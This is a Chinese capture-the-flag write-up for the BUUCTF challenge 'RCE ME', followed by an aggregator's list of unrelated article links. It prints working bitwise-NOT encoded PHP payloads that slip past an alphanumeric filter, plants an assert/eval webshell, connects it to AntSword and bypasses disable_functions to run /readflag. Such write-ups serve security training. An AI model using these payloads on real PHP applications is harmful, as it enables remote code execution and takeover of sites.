当前位置: 首页 > news >正文

[极客大挑战 2019]RCE ME1

 <?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}// ?>

 开始代码审计.

意思就是我们传入的code的value要到达eval()函数,我们需要绕过两个过滤

首先是长度不能大于40,之后便是我们传入的内容不能是大小写字母以及0-9的数字.

绕过方法呢可以使用取反绕过,以及异或绕过.

 我们这里采用取反绕过的方法.

首先构造exp,去看看他禁用了哪些函数.

<?php
$phpinfo=urlencode(~'phpinfo');
echo '(~'.$phpinfo.')();';
?>result:(~%8F%97%8F%96%91%99%90)();

payload: 

http://ffc6c847-30f6-4efb-aea5-fff4306738a6.node5.buuoj.cn:81/?code=(~%8F%97%8F%96%91%99%90)();

看来禁用的还是比较多的一会可能需要使用这些被使用了disable_function()的函数了. 

之后构造webshell,由于php版本的问题呢,我们不能直接构造assert($_POST["cmd"]),我们需要构造构造成assert(eval($_POST["cmd"])),这种形式.

话不多说,开始构造webshell.

<?php 
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST[love]))';
$d=urlencode(~$c);
echo $d;?>result:%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%90%89%9A%A2%D6%D6

链接蚁剑客.

http://1183e56b-6266-4676-8c7e-fe5a9f33d291.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%90%89%9A%A2%D6%D6);

 

之前我们提到了,他禁用了很多函数方法,我们可以通过下面蚁剑的绕过disable_functions的插件进行绕过.

 

选择PHP7_GC_UAF 

 

 之后执行/readflag,来读取flag.

得到flag,游戏结束. 

 

 

http://www.lryc.cn/news/447184.html

相关文章:

  • 计算机毕业设计 中医院问诊系统的设计与实现 Java实战项目 附源码+文档+视频讲解
  • FME辅助规划选址
  • Unity中的GUIStyle错误:SerializedObject of SerializedProperty has been Disposed.
  • 实战篇 | WSL迁移Linux系统到非系统盘(完整实操版)
  • 增量式编码器实现原理
  • 数据集-目标检测系列-口罩检测数据集 mask>> DataBall
  • 工作安排 - 华为OD统一考试(E卷)
  • STM32 GPIO - 笔记
  • 三篇文章速通JavaSE到SpringBoot框架 (中) IO 进程线程 网络编程 XML MySQL JDBC相关概念与演示代码
  • Linux下的基本指令/命令(二)
  • CentOs-Stream-9 设置静态IP外网访问
  • 精密制造的革新:光谱共焦传感器与工业视觉相机的融合
  • 边缘计算与 Python Web 应用:从理论到实践
  • 华为OD机试真题------分糖果
  • Kotlin:变量声明,null安全,条件语句,函数,类与对象
  • C--结构体和位段的使用方法
  • 卷积神经网络-迁移学习
  • 数据库:PL/SQL
  • 迅雷笔试 最长相等子段数列长度 滑动窗口
  • MMD模型一键完美导入UE5-VRM4U插件方案(一)
  • bench.sh:一行命令测试Linux服务器基准测试
  • 广播IP与共享IP的关系
  • 正则表达式和re模块
  • 不同的浏览器、服务器和规范对 URL 长度的限制
  • NASA:ATLAS/ICESat-2 L3 A沿线内陆地表水数据V006数据集
  • 数据结构之链表(1),单链表
  • 如何构建鲁棒高性能 Prompt 的方法?
  • 基于Springboot+微信小程序 的高校社团管理小程序(含源码+数据库+lw)
  • Vue 响应式监听 Watch 最佳实践
  • md编辑器语法